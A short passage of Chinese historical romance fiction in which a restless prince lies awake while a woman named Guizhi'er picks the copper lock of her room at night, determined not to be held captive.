女子呼吸轻柔，长长的睫毛犹如蝶翼微颤，一片静谧。 二堂偏房内，樾王殿下却辗转反侧。 他长发如瀑般肆意铺散在枕间，轮廓分明的脸庞依旧俊美，只是双眸在黑暗中阖上又轻启。 一股说不清道不明的烦躁，充盈心间。 月亮开始缓缓西移，它收敛光芒，位置逐渐下沉，从洁白如玉，变得微微泛黄。 寅时一刻已到。 一个前端细长且带有弯曲的工具，从门缝中心翼翼地探出。 桂枝儿蹲下身来，谨慎操作，随着手腕灵活转着，工具在铜质横开锁的锁芯中轻轻拨动。 很快便传来轻微的“咔哒”声。 “成了！”女子狡黠一笑，“技多不压身。” 开锁乃他们江湖儿女的必修技艺，闯荡四海时不可或缺。 想囚禁她？痴人说梦！